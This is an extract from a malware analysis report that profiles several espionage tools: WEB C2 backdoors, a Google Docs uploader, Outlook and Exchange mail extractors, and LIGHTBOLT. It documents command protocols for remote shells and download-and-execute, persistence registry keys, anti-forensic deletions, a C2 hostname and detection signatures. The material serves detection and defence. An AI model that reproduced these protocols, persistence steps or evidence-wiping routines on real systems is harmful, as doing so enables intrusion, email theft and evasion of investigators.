<!---[<if IE 5>]id="
<!---[<if IE 5>]
```

WEBC2-UGX

WEBC2-UGX searches a downloaded web page for Base64 encoded data within HTML comments. When the data in the HTML comment is decoded the UGX malware expects the first two bytes to be “ug”. The Base64 encoded form of any string beginning with the letters “ug” will begin with “dW”; therefore any HTML web page containing the string “<!-- dW” may be a page containing a valid WEBC2-UGX command.

In the decoded command string, the letter immediately following the beginning letters “ug” indicates the action to be taken. Any data following that letter is taken as an argument to the respective command being issued. Three possible commands are supported by the UGX malware in this command string: D, R and S. Both upper and lower case is accepted by the malware. Table 54 describes each command and its expected arguments.

Function	Command	Description
Download and execute file [from specified URL]	`ugD<URL>`	Download an executable from the URL *<URL>* to the file `%TEMP%\DefWatch.exe`. The downloaded file is then executed.
Interactive command shell	`ugR<ipAddress> <portNumber>`	Establishes a remote command shell to *<ipAddress>* over TCP port *<portNumber>*.
Sleep	`ugS<maxNumberOfMinutes>`	Sleep for a random amount of time between 1 and *<maxNumberOfMinutes>*

Table 54: WEBC2-UGX functionality

When the R command is used, WEBC2-UGX begins by sending the following binary sequence (represented here as hexadecimal values) to the remote IP address and TCP port number specified in the command string.

```
DD B5 61 F0 20 47 20 57 D6 65 9C CB 31 1B 65 42 00 00 00 00
```

Figure 49: Binary sequence initiating a remote command shell

After sending the above listed sequence, the UGX malware awaits a second command from the remote host. The possible commands are listed in the table below.

Function	Command	Description
Interactive command shell	`!@#dmc#@!`	Begin the interactive command shell session
Exit	`!@#tiuq#@!`	Close the backdoor session

Table 55: WEBC2-UGX command shell functionality

If WEBC2-UGX receives a command other than one of the two commands listed in the table above, it will respond to the remote host with the string “`!@#troppusnu#@!`” and await another command. Once the command shell session is established (by the remote host issuing the command “`!@#dmc#@!`”) then a cmd.exe process is created and presented to the remote host. All data sent or received by this command shell session is rudimentarily obfuscated.

Persistence Mechanism

- WEBC2-UGX will add itself to the following registry keys for persistence:
    - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`

Host-Based Signatures

- The malware creates the following Mutexes:
    - 1234
    - `ijnrfv`

- The malware copies itself to the user's temporary file path (%TEMP%) in their user profile under the name AcroRD32.exe

Network-Based Signatures

- Encoded C2 commands will begin with the following string:
  - `<!-- dW`
- The malware uses the following User-Agent strings:
  - `Windows+NT+5.0`
  - `Windows+NT+5.1`
- The malware sends the following sequence of binary values (represented here in hex) to a remote host on any TCP port number at the beginning of a remote command shell session:
  - `DD B5 61 F0 20 47 20 57 D6 65 9C CB 31 1B 65 42 00 00 00 00`

Unique Strings

```
/a > nul
/c del
COMSPEC
1234
<!--
 -->
%s %s
TEMP
SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
explorer.exe
AcroRD32.exe
exit
http://
Windows+NT+5.1
/index1.html
DefWatch.exe
HTTP/1.1
!@#dmc#@!
!@#tiuq#@!
!@#troppusnu#@!
```

WEBC2-YAHOO

WEBC2-YAHOO enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL of a file to download and execute. The encoded URL will be found in the pages returned inside an attribute named “sb” or “ex” within a tag named “yahoo”. This tag may be placed anywhere in the page and be usable by the malware but in practice it is normally placed at the very beginning of the page by the attacker.

```
<yahoo sb="gNH#Z|YM6Gi@Ax0jAQX8ISKhe5X@ZJK#e5socJahZ|Y3USeWDOln(12336)"></yahoo>
```

Figure 50: WEBC2-YAHOO sample command tag

The malware will send beacon requests every 2 or 3 minutes. When the malware receives a response the searches the request for “<yahoo sb=”<encrypted>(<crypto_int>)”></yahoo>”. <crypto_int> is an integer used to index into a crypto array when decrypting {encrypted}. Once decrypted, <encrypted> will have the structure:

```
*<cmd>$<parameter>&<string>*
```

Figure 51: WEBC2-YAHOO command structure

WEBC2-YAHOO expects <cmd> to be an ASCII integer value from Table 56 below. <parameter> is the argument used by the command and <string> is a pre-shared key or <COMPROMISED_HOSTNAME>-<ASCII_IP>.

Function	Command	Description
Set sleep interval	1	Sleep interval (must be greater than 6000 [6-seconds]); HTTP response contains User-Agent of “Sleep {value}”
Download file	2	Download file from new link to %USERPROFILE%\Local Settings\setup.exe, start thread looking for window
Download file	3	Download file from new link to %WINDIR%\wscntfy.exe
Download file	4	Download file from new link to %WINDIR%\fxsst.dll
Create processes	5	Execute %WINDIR%\wscntfy.exe

Table 56: WEBC2-YAHOO functionality

When creating files, if the file already exists the malware will append the letters ‘a’ to ‘z’ in sequence searching for one that does not already exists.

Command 2 will search for a window with a class name of “#32770”, a dialog box. When found it gets the text from the window and any parent windows searching for “&Allow”. Once found the malware will send the window a left-click command. Here WEBC2-YAHOO is likely searching for Anti-Virus pop-ups as a bypass mechanism.

Persistence Mechanism

- WEBC2-YAHOO will add itself to the following registry key for persistence:
  - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Host-Based Signatures

- The malware may download a file to the following locations:
  - %USERPROFILE%\setup.exe
  - %WINDIR%\fxsst.dll
  - %WINDIR%\inetinfo.exe
- The malware creates the following Mutexes:
  - letusgozrmmv1.1

Network-Based Signatures

- The malware uses the following User-Agent:
  - `IPHONE8.5(host:<victim hostname>,ip:<victim IP>)`

Unique Strings

```
Accept: */*
HTTP/1.0
Content-Type: application/x-www-form-urlencoded
POST
Content-Length: %d
Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY
--MULTI-PARTS-FORM-DATA-BOUNDARY
--%s
Content-Disposition: form-data; name="%s"
--%s
Content-Disposition: form-data; name="%s"; filename="%s"
Content-Type: %s
application/octet-stream
Content Type
https
http
#32770
&Allow
%.4d
.exe
Software\Microsoft\Windows\CurrentVersion\Run
letusgozrmmv1.1
IPHONE8.5(host:%s,ip:%s)
%s\setup.exe
USERPROFILE
%s\fxsst.dll
%s\inetinfo.exe
WinDir
sBBBBBBBBBBBBBBBBABBBB
hx.html
hAAAAAAAAAAAAAAAABAAAA
%s-%s
sleep %d
exec error
<yahoo sb="
"></yahoo>
<yahoo ex="
Comments
CompanyName
FileDescription
TXT FILE
FileVersion
1, 0, 0, 1
InternalName
LegalCopyright
Copyright ? 2010
LegalTrademarks
OriginalFilename
  TXT FILE
PrivateBuild
ProductName
TXT FILE
ProductVersion
1, 0, 0, 1
SpecialBuild
VarFileInfo
```

```
Translation
```

WEBC2-Y21K

WEBC2-Y21K searches for Base64 encoded commands within HTML comments. It supports the following commands:

Function	Command	Description
Establish connection	C:*<ip_address> <port_number>*	Connect to the specified port for additional commands
Set sleep interval	W:it	Sleep for 24 hours and reconnect
Set sleep interval	Y:*###*	Sleep for ### minutes
Set sleep interval	q:it	Sleep for 6 days and reconnect.
Set sleep interval	s:*<#>*	Sleep for <#> minutes
Download and execute file [from specified URL]	D:<hostname> <filename>	Perform an HTTP GET request from <hostname> for <filename>. Execute <filename> if it has an extension of ".exe"

Table 57: WEBC2-Y21K Commands

If the "C" or "c" command is issued, the malware connects to the specified IP address and TCP port number and sends the following string (which is a Base64 encoded version of the string "connect"):

```
Y29ubmVjdA==
```

Figure 52: WEBC2-Y21K Connect Beacon

The malware then waits for a response from the server, which may be one of the following commands:

Command	Decoded	Description
Y29ubmVjdA==	connect	Does nothing
c2xlZXA=	sleep	Does nothing
dW5zdXBwb3J0	unsupport	Does nothing
Y21k	cmd	Proceeds to the inner command shell loop described below
cXVpdA==	quit	Terminates the backdoor session

Figure 53: WEBC2-Y21K Server Replies

If the malware receives the "cmd" command ("Y21k") it enters a loop where it accepts commands in Base64 and executes them with cmd.exe unless they are one of the following built-in functions:

Function	Command	Description
Download file [from specified URL]	getfile *hostname filename*	Downloads a file from the specified location via HTTP
Change directories	cd *dir*	Changes to the specified directory
Exit	quit	Terminates the backdoor session
Exit	exit	Terminates the backdoor session

Table 58: WEBC2-Y21K Reverse Shell Commands

Persistence Mechanism

- The malware is intended to be installed as a service, and the path to the malware will be stored in a registry value such as:
    - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\*<service>*\DllPath

Network-Based Signatures

- The malware uses the following User-Agent:

o <HOSTNAME>+Windows+NT+5.1

Unique Strings

```
Nwsapagent.dll
InstallService
ServiceMain
UninstallService
installA
uninstallA
Y29ubmVjdA==
ns.issnbgkit.net
default.htm
dW5zdXBwb3J0
c2xlZXA=
Y21k
cXVpdA==
*/*
+Windows+NT+5.1
.exe
GET
HTTP/1.1
%s %s
quit
exit
getfile
cmd.exe /c
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
--!>
<!--
.PAX
.PAD
DependOnService
RpcSs
ServiceDll
GetModuleFileName() get dll path
Parameters
Type
Start
ObjectName
LocalSystem
ErrorControl
DisplayName
Description
Depends COM+, Collects and stores network configuration and location information, and
notifies applications when this information changes.
ImagePath
%SystemRoot%\System32\svchost.exe -k
SYSTEM\CurrentControlSet\Services\
CreateService(%s) error %d
Intranet Network Awareness (COM+)
%SystemRoot%\System32\svchost.exe -k netsvcs
OpenSCManager()
you specify service name not in Svchost//netsvcs, must be one of following:
RegQueryValueEx(Svchost\netsvcs)
netsvcs
RegOpenKeyEx(%s) KEY_QUERY_VALUE success.
RegOpenKeyEx(%s) KEY_QUERY_VALUE error .
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
IPRIP
uninstall suceess
OpenService(%s) error 2
OpenService(%s) error 1
```

```
uninstall is starting
```

Complete Mission

GDOCUPLOAD – Malware Profile

GDOCUPLOAD is a utility designed to upload files to Google Docs. All communications are with `docs.google.com` and are SSL encrypted. At the time of this writing GDOCUPLOAD does not work with Google Docs – it does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.

The malware does not use Google's published API to interact with their services. Instead it appears to try to mimic an HTTP browser's interaction with the Google services. The malware is run from the command line as shown in Figure 54. The Google account and password are specified on the command line. Following this an arbitrary number of files to upload are given.

```
sg.exe <GoogleAccountName> <Password> [File1] [File2]…
```

Figure 54: GDOCUPLOAD Command Line Parameters

When the malware runs it first attempts to logout the user account, as shown in Figure 55. Following this it will switch to HTTPS connections to authenticate the user and begin file transfers.

```
GET /logout?lv=cpewdalh HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml,
image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-gb
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: docs.google.com
Cookie: <CookieValue>
```

Figure 55: Sample HTTP logout

Network-Based Signatures

- The malware uses the following User-Agent strings:
  - `Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0 )`
  - `Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)`
  - `Shockwave Flash`

Unique Strings

```
CONOUT$
bad allocation
"<>%\^[]`+$,@:;/!#?=&
0123456789ABCDEF
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0 )
Request Error!
Connect Error!
%s%s%s
length=%d,time=%fsec,speed=%fk
Accept: */*
Accept-Language: en-gb
```

```
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml,
image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, */*
'token': "
&version=
'protocolVersion':
&subapp=
subapp:'
&app=
,app:'
&authuser=
,authuser:'
,clientUser:'
&hl=en
https://docs.google.com/DocAction?action=updoc&hl=en
https://docs.google.com/upload/resumableupload?authuser=0&user=%s
x-guploader-client-info: mechanism=scotty flash; clientVersion=18067216
{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file",
"filename":"%s%s","formPost":{},"size":%d}},{"inlined":{"name":"gdConvert","content":"
false","contentType":"text/plain"}}]},"clientId":"scotty xhr"}
Location:
&file_id=000
------------ae0ae0gL6GI3ae0Ij5ae0cH2cH2ei4
Content-Disposition: form-data; name="Filename"
Content-Disposition: form-data; name="Filedata"; filename="
Content-Type: application/octet-stream
------------ae0ae0gL6GI3ae0Ij5ae0cH2cH2ei4
Content-Disposition: form-data; name="Upload"
Submit Query
------------ae0ae0gL6GI3ae0Ij5ae0cH2cH2ei4--
Accept: text/*
User-Agent: Shockwave Flash
FINALIZED
error=22
error=21
User Login...
http://docs.google.com/logout?lv=%s
http://docs.google.com/
name="GALX"
location.replace("
value="
name="dsh"
https://www.google.com/accounts/ServiceLoginAuth?lv=%s
ltmpl=homepage&continue=http%%3A%%2F%%2Fdocs.google.com%%2F&followup=http%%3A%%2F%%2Fd
ocs.google.com%%2F&service=writely&dsh=%s&ltmpl=homepage&ltmpl=homepage&timeStmp=&secT
ok=&GALX=%s&Email=%s&Passwd=%s&rmShown=1
https://www.google.com/accounts/ServiceLogin?service=writely&passive=1209600&continue=
http://docs.google.com/&followup=http://docs.google.com/&ltmpl=homepage
<meta http-equiv="refresh"
13.txt
http://docs.google.com/?auth=
%26gausr
http%3A%2F%2Fdocs.google.com%2F%3Fauth%3D
http://docs.google.com/?auth=%s&gausr=%s&authuser=0&ltt=%s
token=
&clientUser=
14.txt
error=04
error=03
error=02
user(%s)send file ok!
```

```
send file error
Content-Type: multipart/form-data; boundary=----------ae0ae0gL6GI3ae0Ij5ae0cH2cH2ei4
Content-Type: application/x-www-form-urlencoded
--%s
Content-Disposition: form-data; name="%s"; filename="%s"
--%s
Content-Disposition: form-data; name="%s"
https
http
open internet failed...
connect failed...
handle not opened...
HTTP/1.0
request failed...
additional header failed...
http://
https://
add cookie failed...
POST
Accept: text/javascript, application/javascript, */*
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
mt: %s
x-fpp-command: 0
Accept-Encoding: gzip, deflate
Content-Disposition: form-data; name="__EVENTTARGET"
upload
Content-Disposition: form-data; name="__EVENTARGUMENT"
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwULLTE4MzExOTU4NDlkZN1ZzfI+6IuXDtresnm9PixzdcrF
Content-Disposition: form-data; name="fileInput"; filename="
Content-Disposition: form-data; name="HiddenFileName"
Content-Disposition: form-data; name="HiddenAttachments"
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml,
image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: multipart/form-data; boundary=---------------------------7daa9254202f8
Content-Type: multipart/form-data; boundary=---------------------------7da3a618200e84
Referer: http://sn114w.snt114.mail.live.com/mail/AttachmentUploader.aspx?_ec=1
Referer: http://sn114w.snt114.mail.live.com/mail/EditMessageLight.aspx?n=%s
-----------------------------7daa9254202f8
---------------------------7da3a618200e84
request failed
connection failed...
response failed...
e:\Project\mm\Webmail\Bin\gdocs.pdb
```

GETMAIL – Malware Profile

GETMAIL is a utility designed to extract email messages and attachments from Outlook PST files. GETMAIL has been observed as `getmail.exe` and `gm.exe`, and an accompanying DLL, `getmail.dll`. The usage statement for `getmail.exe` explains most of its functionality:

```
getmail.exe -h or -?
getmail.exe <-t targetFile> [-f pstFilename ] [-r all] [-s startDay] [-e endDay]
            [-c yes/no] [-z yes/no]

        -t filename:    A file to save the result.
        -f pstFile:     pst file's FULLPATH.
        -r all:         All folders to be retrieved.
        -s startDay:    From date,must format in: YYYY-MM-DD
        -e endDay:      To date,must format in: YYYY-MM-DD
        -c [yes]/no:    Wether encrypt or not,yes is default.
                        and yes is the default key,you can change it
                        as you like but up to 16bytes.
        -z [yes]/no:    Wether compress or not,yes is default.

 NOTE:if have both -c and -z then compress first.
```

Figure 56: GETMAIL Usage Statement

The utility can extract email messages, attachments, and folders from within PST files. Email messages are stored to the file specified by the `-f` option. Attachments are stored to files prefixed with *<nnn>*- where *<nnn>* is a decimal number with at least 3 digits, using leading zeroes if necessary (such as 005, 708, or 1234). For example, an attachment named `attach.doc` might be saved to `572-attach.doc`. If encryption or compression is used, these files may be given `.dat` or `.datl` extensions.

The program uses its own proprietary compression and encryption algorithms. This functionality is stored in the accompanying `getmail.dll`.

Host-Based Signatures

- The utility may create files prefixed with *<nnn>*- where *<nnn>* is a decimal number with at least 3 digits, using leading zeroes if necessary (such as 005, 708, or 1234).
- The utility may create files with the `.dat` or `.datl` extensions
- The utility may create a REG_SZ registry value with the same name as the executable (e.g., `gm.exe`) under `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem\MSMapiApps` with the value `Microsoft Outlook`

Unique Strings – getmail.exe

```
No subject
synchr
All Public Folders
No mapi-x implementation on this computer.
Current folder is:
Current profile is:%s and store is:%s.
Current folder is:
Current folder is: %s||type is:%s||path is:%s
Current profile is:%s and store is:%s.
mftUnknown
mftDeleted
mftMail
mftSent
mftStuff
mftOutbox
```

```
mftInbox
No mapi-x implementation!
Cannot find folders.
Default
MAPIX
SOFTWARE\Microsoft\Windows Messaging Subsystem
mapi32.dll
SOFTWARE\Microsoft\Windows Messaging Subsystem\MSMapiApps
DLLPathEx
SOFTWARE\Clients\Mail\
Microsoft Outlook
SOFTWARE\Clients\Mail
Logon failed in ensure stores libpath.
Lu's Crazy Profile (democode)
WrapCompressedRTFStream
RTFSync
MAPIFreeBuffer
MAPIUninitialize
MAPILogonEx
MAPIAdminProfiles
MAPIAllocateBuffer
MAPIInitialize
Cannot load the dll file:%s
Open message store failed,maybe it's password is NOT NULL
Logon failed in ensure folderes with profile and store.
MSPST MS
Lu's Zany Message Store
IP..
IP..Task
IP..StickyNote
IP..Journal
IP..Contact
IP..Appointment
IP..Imap
IP..Note
IPM.Note
\htmlrtf0
\htmlrtf
\pntext
\fi-
\li

\tab
\par
\*\mhtmltag
\*\htmltag
{\*\htmltag
\fromhtml
\from
Time:
 | date:
 | subject:
Sender:
%s%i %s%i
NO. %d
%s,there has %d emails.
Before %s
Today %d-%d-%d
From %s To %s
From %s
Text body:
Unknown attachment.
Get Prop tag failed.
```

```
Open attach failed.
%02d. %03d-%s
encrypt failed.
encrypt ok.
.dat
%s\%03d-%s
Total Attachments: %d
To:
From:
Subject:
IPF.Note
 NOTE:if have both -c and -z then compress first.
        -z [yes]/no:
Wether compress or not,yes is default.

as you like but up to 16bytes.

and yes is the default key,you can change it
        -c [yes]/no:
Wether encrypt or not,yes is default.
        -e endDay:
To date,must format in: YYYY-MM-DD
        -s startDay:
From date,must format in: YYYY-MM-DD
        -r all:
All folders to be retrieved.
        -f pstFile:
pst file's FULLPATH.
        -t filename:
A file to save the result.
%s [-c yes/no] [-z yes/no]
%s <-t targetFile> [-f pstFilename ] [-r all] [-s startDay] [-e endDay]
%s -h or -?
-c key too long(MAX=16).
-e date format error.
-s date format error.
-f pls give the FULL path of PST file.
-f file name too long.
-t file name too long.
all
yes
.pst
Cannot find needed finctions in library:%s.dll
encrypt ok.
Total:
Open %s Failed!
doCompress
doEncrypt
Cannot load library:%s.dll
.exe
Error code is:%d
Time of retrieve mail:
%d-%d-%d
=========================
Start====================
=========================
End=====================
att
```

Unique Strings – getmail.dll

```
getmail.dll
doCompress
```

```
doEncrypt
Out/In: %.3f
Out: %ld bytes
In : %ld bytes
%12ld
Open file failed to compress.
love
cant not encrypt because  file length is 0.
```

LIGHTBOLT – Malware Profile

LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. This is very similar in functionality to the LIGHTDART malware family, however LIGHTBOLT has integrated additional functionality in the form of the ability to use software certificates for authentication. By integrating stolen software certificates into LIGHTBOLT, an attacker can access web pages that aren't readily available on the Internet.

The malware must be executed with two command-line flags. A `–f` argument specifies a text file containing commands that are executed by a child `cmd.exe` process. A `–p` option specifies the password for the encrypted RAR archive created by the malware. Figure 57 shows example command line usage of the malware.

```
exploie.exe -f <command_file> -p <rar_password>
```

Figure 57: Example malware command line usage

When LIGHTBOLT is executed, it attempts to extract a PFX binary packet from an embedded resource named `JPG`. The malware uses the hardcoded password `123456` in order to decrypt and verify the embedded PFX packet. The malware then attempts to add the embedded certificate it decrypted into the `MY` certificate store. This certificate store is used to store the personal certificates of the current user.

After the certificate has been added, the malware extracts an additional file from a resource named `PDFBROW`. This file is saved to the current directory as `Browser.exe`. The malware then opens the text file specified by the `<command_file>` argument and executes each line as a shell command using a child `cmd.exe` process. This file likely contains commands that execute the dropped `Browser.exe` utility.

The extracted `Browser.exe` malware is a utility that performs HTTP GET requests to URLs supplied on the command line. Figure 58 contains the command-line usage for the `Browser.exe` utility.

```
Browser.exe <target_url> <output_file>
```

Figure 58: Browser.exe command-line usage

The malware saves the data received in the HTTP response as an MHTML file in the path specified by `<output_file>`. This path is relative to the malware's current directory and is appended with the file extension `.mht`.

LIGHTBOLT extracts a copy of the `rar.exe` archive utility from a resource named `VAPDF` and saves the file as `bits.exe` in the current directory. The malware creates an encrypted archive named `all.jpg` using the hard-coded command line shown in Figure 59. The malware adds files to this archive from a directory named `ALL`. This directory is not created by the malware and is expected to already exist.

```
bits.exe a all.jpg .\ALL -hp<rar_password>
```

Figure 59: RAR archive command executed by the malware

After creating the RAR archive, the malware removes forensic artifacts from the system. The malware attempts to locate a certificate that contains a hard-coded name and deletes it. All files dropped by the malware are deleted. The malware also deletes files contained in the Internet cache, Internet history, and cookies directories. In addition, the malware deletes a large amount of registry keys and values, which are shown in Figure 60.

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKEY_CURRENT_USER\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\DefaultUserName
HKEY_CURRENT_USER\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\AltDefaultUserName
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\DefaultUserName
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find Spec MRU
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Explorer Bars\{C4EE31F3-4768-
11D2-BE5C-00A0C9A83DA1}\ContainingTextMRU
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Explorer Bars\{C4EE31F3-4768-
11D2-BE5C-00A0C9A83DA1}\FilesNamedMRU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FindComputerMRU
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Explorer Bars\{C4EE31F3-4768-
11D2-BE5C-00A0C9A83DA1}\ComputerNameMRU
HKEY_CURRENT_USER\Software\Microsoft\Telnet\Machine%d
HKEY_CURRENT_USER\Software\Microsoft\Telnet\Service%d
HKEY_CURRENT_USER\Software\Microsoft\Telnet\TermType%d
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs
```

Figure 60: Registry keys and values deleted by the malware

Host-Based Signatures

- The malware installs a private certificate to the user's MY certificate store.
- The malware contains the following named resources that each contain additional files:
  - JPG – Contains the PFX packet for the installed certificate
  - PDFBROW – Contains the `Browser.exe` malware
  - VAPDF – Contains a copy of the `bits.exe` archiving utility (renamed `rar.exe`)
- The malware creates the files `Browser.exe` and `bits.exe` within its current directory.
- The malware creates a RAR archive named `all.jpg` that contains saved MHTML files that are downloaded by the `Browser.exe` malware.
- The malware relies on a text file that contains system commands in order to execute its HTTP request functionality. The path for this text file is specified at runtime.
- The malware expects a directory named ALL to exist within its current directory in order to function properly.
  - This directory contains MHTML files that are downloaded by the `Browser.exe` malware that have the file extension `.mht`.

Unique Strings

```
Parameter error
rd .\ALL /S /Q
bits.exe a all.jpg .\ALL -hp%s
bits.exe
Parameter Error 10030
File %s not exist!
Browser.exe
123456
The store was not opened.
```

```
Duplication of the certificate pointer failed.
The deletion of the certificate failed.
The certificate has been deleted. Continue.
The two certificates are not identical.
The two certificates are identical.
A duplicate pointer was created. Continue.
The program ran to completion successfully.
The %s store has been opened.
PDFBROW
VAPDF
%s\%s
index.dat
desktop.ini
%s\*.*
Software\Microsoft\Internet Explorer\TypedURLs
\History
LastTermType
LastService
LastMachine
TermType%d
Service%d
Software\Microsoft\Telnet
Machine%d
Software\Microsoft\Internet Explorer\Explorer Bars\{C4EE31F3-4768-11D2-BE5C-
00A0C9A83DA1}\ComputerNameMRU
Software\Microsoft\Windows\CurrentVersion\Explorer\FindComputerMRU
Software\Microsoft\Internet Explorer\Explorer Bars\{C4EE31F3-4768-11D2-BE5C-
00A0C9A83DA1}\FilesNamedMRU
Software\Microsoft\Internet Explorer\Explorer Bars\{C4EE31F3-4768-11D2-BE5C-
00A0C9A83DA1}\ContainingTextMRU
Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find Spec MRU
Software\Microsoft\Windows\CurrentVersion\Winlogon
AltDefaultUserName
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultUserName
Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
%s%s
.ext
dos.sfx
$default
rarfiles.lst
__rar_XXXXXX
Protect+
%3d%%
70c2441db366d92ea7be1342b3bf629026ba92bb675f06e684bdd34511097434
utf8:
awbw
DateMax:
VersMax:
Version:
rarreg.*
%d.%02d
default.sfx
*.%s
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lzh;mp3;rar;taz;tgz;z;zip
rar.log
AFUMD
.rar
FUADPXETK
AFUM
ilog
cfg-
```

```
switches=
rar.ini
%s:
[%c]%s
%02d:%02d:%02d  %s
--------  %2d %s %d
0123456789abcdef
%02d
a538f494a2afdb0ca5c008d34100dc71cb684672c0c511da8d95d38642fc2360
SeRestorePrivilege
SeSecurityPrivilege
%.*s(%d)%s
rtmp%d
GetDiskFreeSpaceExA
kernel32.dll
%06u
SHFileOperationW
shell32.dll
__rar_tmp
%s - %s
%c:\*
  %s
 / %s
bad allocation
*<-?->
%22s %s
%c%c%c%c%c%c%c%c%c
 %c%c%c%c%c%c%c%c
%22s %8s %4s
 %d.%d
 m%d
 %8.8X
  %c....B
 %s
%3d%%
 -->
 <--
 <->
 %8s %8s
%-12s
%12s
OS/2
Win95/NT
Unix
MacOS
BeOS
WinCE
%5lu %16s %8s %3d%%
%5lu %16s %8s %3d%%
__rar_
CreateThread failed
WaitForMultipleObjects failed, error %d
Too many threads in wait function.
No free threads in thread pool. Aborting.
%c:\
WinRAR
AppData
Software\WinRAR\Paths
?*<>|"
YMDHISWAEU
%05d
%03d
%04d
```

```
yyyymmddhhmmss
part
rar.lng
100%%
.bad
*.rev
.rev
%%s%%0%dd_%%0%dd_%%0%dd.rev
%%s%%0%dd.rev
Protect!
rebuilt.
fixed.
*messages***
%08x
LanguageFolder
Software\WinRAR\General
rarlng.dll
%s%c%s
System Volume Information\
%02x
SeShutdownPrivilege
CONOUT$
RSDS
d:\Projects\WinRAR\rar\build\rar32\Release\RAR.pdb
%d%02d%02d12
VAPDF
PDFBROW
firefox.exe
UOLE initialization failed.  Make sure that the OLE libraries are the correct version.
2Browser
Browse
Browser.Document
Browse Document
Browser
Ready
SCRL
Create a new document
Open an existing document
Open
Close the active document
Close
Save the active document
Save0Save the active document with a new name
Save As&Change the printing options
Page Setup3Change the printer and printing options
Print Setup
Print the active document
Print
?Display program information, version number and copyright
About4Quit the application; prompts to save documents
Exit
Open this document(Switch to the next window pane
Next Pane5Switch back to the previous window pane
Previous Pane
(Split the active window into panes
Split
Erase the selection
Erase
Erase everything
Erase All3Copy the selection and put it on the Clipboard
Copy1Cut the selection and put it on the Clipboard
Find the specified text
Find
```

```
Insert Clipboard contents
Paste
Repeat the last action
Repeat1Replace specific text with different text
Replace%Select the entire document
Select All
Undo the last action
Undo&Redo the previously undone action
Redo
'Show or hide the toolbar
Toggle ToolBar,Show or hide the status bar
Toggle StatusBar
Change the window size
Change the window position
Reduce the window to an icon
Enlarge the window to full size"Switch to the next document window&Switch to the
previous document window9Close the active window and prompts to save the documents
explorer.exe
```

MAPIGET – Malware Profile

MAPIGET is a utility designed to extract email messages and attachments directly from an Exchange server. MAPIGET has two components: `mapiget.exe` and `mapi.exe`. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server. In addition, they must be run from a machine joined to the domain that has Microsoft Outlook or equivalent software that provides the Microsoft "Messaging API" (MAPI) service.

The two utilities `mapi.exe` and `mapiget.exe` are used in conjunction to retrieve and save information from an Exchange server. `Mapi.exe` accepts a list of user accounts and passwords for an Exchange server and invokes `mapiget.exe` in order to download content from those accounts using the Microsoft "Messaging API" ("MAPI").

`Mapiget.exe` is invoked with the following command line:

```
mapiget.exe –f:1.txt
```

Figure 61: mapiget.exe Command Line Usage

`1.txt` in this case would be a text file containing user credentials and commands. `Mapiget.exe` will read each set of credentials and invoke the associated command. This will be done for each credential/combination. A sample input file is displayed below:

```
user1
user1domain.com
user1password
mapi –s:exchangeserver.user1domain.com –u:user1 –t:2006-9-25-14 –
o:c:\path_to_save_files
user2
user2domain.com
user2password
mapi –s:exchangeserver.user2domain.com –u:user2 –t:2006-9-25-14 –
o:c:\path_to_save_files
```

Figure 62: mapiget.exe input file

